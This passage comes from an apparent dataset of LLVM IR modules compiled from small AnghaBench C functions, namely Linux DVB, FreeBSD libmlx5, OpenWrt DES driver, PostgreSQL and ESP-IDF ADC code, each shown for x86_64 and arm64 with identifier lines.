3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"dvb_frontend", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"dvb_frontend_private", !12, i64 0} !12 = !{!"int", !8, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/media/dvb-core/extr_dvb_frontend.c_dvb_frontend_reinitialise.c' source_filename = "AnghaBench/linux/drivers/media/dvb-core/extr_dvb_frontend.c_dvb_frontend_reinitialise.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define void @dvb_frontend_reinitialise(ptr noundef %0) local_unnamed_addr #0 { %2 = load ptr, ptr %0, align 8, !tbaa !6 store i32 1, ptr %2, align 4, !tbaa !11 %3 = tail call i32 @dvb_frontend_wakeup(ptr noundef nonnull %0) #2 ret void } declare i32 @dvb_frontend_wakeup(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"dvb_frontend", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !13, i64 0} !12 = !{!"dvb_frontend_private", !13, i64 0} !13 = !{!"int", !9, i64 0}
linux_drivers_media_dvb-core_extr_dvb_frontend.c_dvb_frontend_reinitialise
; ModuleID = 'AnghaBench/freebsd/contrib/ofed/libmlx5/extr_cq.c_get_cqe_l3_hdr_type.c' source_filename = "AnghaBench/freebsd/contrib/ofed/libmlx5/extr_cq.c_get_cqe_l3_hdr_type.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @get_cqe_l3_hdr_type], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: read) uwtable define internal i32 @get_cqe_l3_hdr_type(ptr nocapture noundef readonly %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !5 %3 = lshr i32 %2, 2 %4 = and i32 %3, 3 ret i32 %4 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: read) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"mlx5_cqe64", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/freebsd/contrib/ofed/libmlx5/extr_cq.c_get_cqe_l3_hdr_type.c' source_filename = "AnghaBench/freebsd/contrib/ofed/libmlx5/extr_cq.c_get_cqe_l3_hdr_type.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @get_cqe_l3_hdr_type], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: read) uwtable(sync) define internal range(i32 0, 4) i32 @get_cqe_l3_hdr_type(ptr nocapture noundef readonly %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !6 %3 = lshr i32 %2, 2 %4 = and i32 %3, 3 ret i32 %4 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: read) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"mlx5_cqe64", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
freebsd_contrib_ofed_libmlx5_extr_cq.c_get_cqe_l3_hdr_type
; ModuleID = 'AnghaBench/openwrt/package/kernel/lantiq/ltq-deu/src/extr_ifxmips_async_des.c_lq_des_decrypt.c' source_filename = "AnghaBench/openwrt/package/kernel/lantiq/ltq-deu/src/extr_ifxmips_async_des.c_lq_des_decrypt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @CRYPTO_DIR_DECRYPT = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @lq_des_decrypt], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @lq_des_decrypt(ptr noundef %0) #0 { %2 = tail call ptr @crypto_ablkcipher_reqtfm(ptr noundef %0) #2 %3 = tail call ptr @crypto_ablkcipher_ctx(ptr noundef %2) #2 %4 = load i32, ptr @CRYPTO_DIR_DECRYPT, align 4, !tbaa !5 %5 = tail call i32 @lq_queue_mgr(ptr noundef %3, ptr noundef %0, ptr noundef null, i32 noundef %4, i32 noundef 5) #2 ret i32 %5 } declare ptr @crypto_ablkcipher_reqtfm(ptr noundef) local_unnamed_addr #1 declare ptr @crypto_ablkcipher_ctx(ptr noundef) local_unnamed_addr #1 declare i32 @lq_queue_mgr(ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/openwrt/package/kernel/lantiq/ltq-deu/src/extr_ifxmips_async_des.c_lq_des_decrypt.c' source_filename = "AnghaBench/openwrt/package/kernel/lantiq/ltq-deu/src/extr_ifxmips_async_des.c_lq_des_decrypt.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @CRYPTO_DIR_DECRYPT = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @lq_des_decrypt], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @lq_des_decrypt(ptr noundef %0) #0 { %2 = tail call ptr @crypto_ablkcipher_reqtfm(ptr noundef %0) #2 %3 = tail call ptr @crypto_ablkcipher_ctx(ptr noundef %2) #2 %4 = load i32, ptr @CRYPTO_DIR_DECRYPT, align 4, !tbaa !6 %5 = tail call i32 @lq_queue_mgr(ptr noundef %3, ptr noundef %0, ptr noundef null, i32 noundef %4, i32 noundef 5) #2 ret i32 %5 } declare ptr @crypto_ablkcipher_reqtfm(ptr noundef) local_unnamed_addr #1 declare ptr @crypto_ablkcipher_ctx(ptr noundef) local_unnamed_addr #1 declare i32 @lq_queue_mgr(ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
openwrt_package_kernel_lantiq_ltq-deu_src_extr_ifxmips_async_des.c_lq_des_decrypt
; ModuleID = 'AnghaBench/postgres/src/backend/nodes/extr_equalfuncs.c__equalCreateForeignServerStmt.c' source_filename = "AnghaBench/postgres/src/backend/nodes/extr_equalfuncs.c__equalCreateForeignServerStmt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @servername = dso_local local_unnamed_addr global i32 0, align 4 @servertype = dso_local local_unnamed_addr global i32 0, align 4 @version = dso_local local_unnamed_addr global i32 0, align 4 @fdwname = dso_local local_unnamed_addr global i32 0, align 4 @if_not_exists = dso_local local_unnamed_addr global i32 0, align 4 @options = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @_equalCreateForeignServerStmt], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal noundef i32 @_equalCreateForeignServerStmt(ptr nocapture readnone %0, ptr nocapture readnone %1) #0 { %3 = load i32, ptr @servername, align 4, !tbaa !5 %4 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %3) #2 %5 = load i32, ptr @servertype, align 4, !tbaa !5 %6 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %5) #2 %7 = load i32, ptr @version, align 4, !tbaa !5 %8 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %7) #2 %9 = load i32, ptr @fdwname, align 4, !tbaa !5 %10 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %9) #2 %11 = load i32, ptr @if_not_exists, align 4, !tbaa !5 %12 = tail call i32 @COMPARE_SCALAR_FIELD(i32 noundef %11) #2 %13 = load i32, ptr @options, align 4, !tbaa !5 %14 = tail call i32 @COMPARE_NODE_FIELD(i32 noundef %13) #2 ret i32 1 } declare i32 @COMPARE_STRING_FIELD(i32 noundef) local_unnamed_addr #1 declare i32 @COMPARE_SCALAR_FIELD(i32 noundef) local_unnamed_addr #1 declare i32 @COMPARE_NODE_FIELD(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/postgres/src/backend/nodes/extr_equalfuncs.c__equalCreateForeignServerStmt.c' source_filename = "AnghaBench/postgres/src/backend/nodes/extr_equalfuncs.c__equalCreateForeignServerStmt.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @servername = common local_unnamed_addr global i32 0, align 4 @servertype = common local_unnamed_addr global i32 0, align 4 @version = common local_unnamed_addr global i32 0, align 4 @fdwname = common local_unnamed_addr global i32 0, align 4 @if_not_exists = common local_unnamed_addr global i32 0, align 4 @options = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @_equalCreateForeignServerStmt], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal noundef i32 @_equalCreateForeignServerStmt(ptr nocapture readnone %0, ptr nocapture readnone %1) #0 { %3 = load i32, ptr @servername, align 4, !tbaa !6 %4 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %3) #2 %5 = load i32, ptr @servertype, align 4, !tbaa !6 %6 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %5) #2 %7 = load i32, ptr @version, align 4, !tbaa !6 %8 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %7) #2 %9 = load i32, ptr @fdwname, align 4, !tbaa !6 %10 = tail call i32 @COMPARE_STRING_FIELD(i32 noundef %9) #2 %11 = load i32, ptr @if_not_exists, align 4, !tbaa !6 %12 = tail call i32 @COMPARE_SCALAR_FIELD(i32 noundef %11) #2 %13 = load i32, ptr @options, align 4, !tbaa !6 %14 = tail call i32 @COMPARE_NODE_FIELD(i32 noundef %13) #2 ret i32 1 } declare i32 @COMPARE_STRING_FIELD(i32 noundef) local_unnamed_addr #1 declare i32 @COMPARE_SCALAR_FIELD(i32 noundef) local_unnamed_addr #1 declare i32 @COMPARE_NODE_FIELD(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
postgres_src_backend_nodes_extr_equalfuncs.c__equalCreateForeignServerStmt
; ModuleID = 'AnghaBench/esp-idf/components/esp_adc_cal/extr_esp_adc_cal.c_esp_adc_cal_get_voltage.c' source_filename = "AnghaBench/esp-idf/components/esp_adc_cal/extr_esp_adc_cal.c_esp_adc_cal_get_voltage.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { i64, i32 } @ESP_ERR_INVALID_ARG = dso_local local_unnamed_addr global i32 0, align 4 @ADC_UNIT_1 = dso_local local_unnamed_addr global i64 0, align 8 @ADC1_CHANNEL_MAX = dso_local local_unnamed_addr global i64 0, align 8 @ADC2_CHANNEL_MAX = dso_local local_unnamed_addr global i64 0, align 8 @ESP_OK = dso_local local_unnamed_addr global i64 0, align 8 @ESP_ERR_TIMEOUT = dso_local local_unnamed_addr global i64 0, align 8 ; Function Attrs: nounwind uwtable define dso_local i64 @esp_adc_cal_get_voltage(i64 noundef %0, ptr noundef %1, ptr noundef writeonly %2) local_unnamed_addr #0 { %4 = alloca i32, align 4 %5 = icmp ne ptr %1, null %6 = zext i1 %5 to i32 %7 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !5 %8 = tail call i32 @ADC_CAL_CHECK(i32 noundef %6, i32 noundef %7) #3 %9 = icmp ne ptr %2, null %10 = zext i1 %9 to i32 %11 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !5 %12 = tail call i32 @ADC_CAL_CHECK(i32 noundef %10, i32 noundef %11) #3 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %13 = load i64, ptr %1, align 8, !tbaa !9 %14 = load i64, ptr @ADC_UNIT_1, align 8, !tbaa !12 %15 = icmp eq i64 %13, %14 %16 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !5 br i1 %15, label %17, label %23 17: ; preds = %3 %18 = load i64, ptr @ADC1_CHANNEL_MAX, align 8, !tbaa !12 %19 = icmp sgt i64 %18, %0 %20 = zext i1 %19 to i32 %21 = tail call i32 @ADC_CAL_CHECK(i32 noundef %20, i32 noundef %16) #3 %22 = tail call i32 @adc1_get_raw(i64 noundef %0) #3 store i32 %22, ptr %4, align 4, !tbaa !5 br label %35 23: ; preds = %3 %24 = load i64, ptr @ADC2_CHANNEL_MAX, align 8, !tbaa !12 %25 = icmp sgt i64 %24, %0 %26 = zext i1 %25 to i32 %27 = tail call i32 @ADC_CAL_CHECK(i32 noundef %26, i32 noundef %16) #3 %28 = getelementptr inbounds %struct.TYPE_4__, ptr %1, i64 0, i32 1 %29 = load i32, ptr %28, align 8, !tbaa !13 %30 = call i64 @adc2_get_raw(i64 noundef %0, i32 noundef %29, ptr noundef nonnull %4) #3 %31 = load i64, ptr @ESP_OK, align 8, !tbaa !12 %32 = icmp eq i64 %30, %31 br i1 %32, label %33, label %38 33: ; preds = %23 %34 = load i32, ptr %4, align 4, !tbaa !5 br label %35 35: ; preds = %33, %17 %36 = phi i32 [ %34, %33 ], [ %22, %17 ] %37 = call i32 @esp_adc_cal_raw_to_voltage(i32 noundef %36, ptr noundef nonnull %1) #3 store i32 %37, ptr %2, align 4, !tbaa !5 br label %38 38: ; preds = %23, %35 %39 = phi ptr [ @ESP_OK, %35 ], [ @ESP_ERR_TIMEOUT, %23 ] %40 = load i64, ptr %39, align 8, !tbaa !12 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret i64 %40 } declare i32 @ADC_CAL_CHECK(i32 noundef, i32 noundef) local_unnamed_addr #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #2 declare i32 @adc1_get_raw(i64 noundef) local_unnamed_addr #1 declare i64 @adc2_get_raw(i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @esp_adc_cal_raw_to_voltage(i32 noundef, ptr noundef) local_unnamed_addr #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !11, i64 0} !10 = !{!"TYPE_4__", !11, i64 0, !6, i64 8} !11 = !{!"long", !7, i64 0} !12 = !{!11, !11, i64 0} !13 = !{!10, !6, i64 8}
; ModuleID = 'AnghaBench/esp-idf/components/esp_adc_cal/extr_esp_adc_cal.c_esp_adc_cal_get_voltage.c' source_filename = "AnghaBench/esp-idf/components/esp_adc_cal/extr_esp_adc_cal.c_esp_adc_cal_get_voltage.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @ESP_ERR_INVALID_ARG = common local_unnamed_addr global i32 0, align 4 @ADC_UNIT_1 = common local_unnamed_addr global i64 0, align 8 @ADC1_CHANNEL_MAX = common local_unnamed_addr global i64 0, align 8 @ADC2_CHANNEL_MAX = common local_unnamed_addr global i64 0, align 8 @ESP_OK = common local_unnamed_addr global i64 0, align 8 @ESP_ERR_TIMEOUT = common local_unnamed_addr global i64 0, align 8 ; Function Attrs: nounwind ssp uwtable(sync) define i64 @esp_adc_cal_get_voltage(i64 noundef %0, ptr noundef %1, ptr noundef writeonly %2) local_unnamed_addr #0 { %4 = alloca i32, align 4 %5 = icmp ne ptr %1, null %6 = zext i1 %5 to i32 %7 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !6 %8 = tail call i32 @ADC_CAL_CHECK(i32 noundef %6, i32 noundef %7) #3 %9 = icmp ne ptr %2, null %10 = zext i1 %9 to i32 %11 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !6 %12 = tail call i32 @ADC_CAL_CHECK(i32 noundef %10, i32 noundef %11) #3 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %13 = load i64, ptr %1, align 8, !tbaa !10 %14 = load i64, ptr @ADC_UNIT_1, align 8, !tbaa !13 %15 = icmp eq i64 %13, %14 %16 = load i32, ptr @ESP_ERR_INVALID_ARG, align 4, !tbaa !6 br i1 %15, label %17, label %23 17: ; preds = %3 %18 = load i64, ptr @ADC1_CHANNEL_MAX, align 8, !tbaa !13 %19 = icmp sgt i64 %18, %0 %20 = zext i1 %19 to i32 %21 = tail call i32 @ADC_CAL_CHECK(i32 noundef %20, i32 noundef %16) #3 %22 = tail call i32 @adc1_get_raw(i64 noundef %0) #3 store i32 %22, ptr %4, align 4, !tbaa !6 br label %35 23: ; preds = %3 %24 = load i64, ptr @ADC2_CHANNEL_MAX, align 8, !tbaa !13 %25 = icmp sgt i64 %24, %0 %26 = zext i1 %25 to i32 %27 = tail call i32 @ADC_CAL_CHECK(i32 noundef %26, i32 noundef %16) #3 %28 = getelementptr inbounds i8, ptr %1, i64 8 %29 = load i32, ptr %28, align 8, !tbaa !14 %30 = call i64 @adc2_get_raw(i64 noundef %0, i32 noundef %29, ptr noundef nonnull %4) #3 %31 = load i64, ptr @ESP_OK, align 8, !tbaa !13 %32 = icmp eq i64 %30, %31 br i1 %32, label %33, label %38 33: ; preds = %23 %34 = load i32, ptr %4, align 4, !tbaa !6 br label %35 35: ; preds = %33, %17 %36 = phi i32 [ %34, %33 ], [ %22, %17 ] %37 = call i32 @esp_adc_cal_raw_to_voltage(i32 noundef %36, ptr noundef nonnull %1) #3 store i32 %37, ptr %2, align 4, !tbaa !6 br label %38 38: ; preds = %23, %35 %39 = phi ptr [ @ESP_OK, %35 ], [ @ESP_ERR_TIMEOUT, %23 ] %40 = load i64, ptr %39, align 8, !tbaa !13 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret i64 %40 } declare i32 @ADC_CAL_CHECK(i32 noundef, i32 noundef) local_unnamed_addr #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #2 declare i32 @adc1_get_raw(i64 noundef) local_unnamed_addr #1 declare i64 @adc2_get_raw(i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @esp_adc_cal_raw_to_voltage(i32 noundef, ptr noundef) local_unnamed_addr #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" 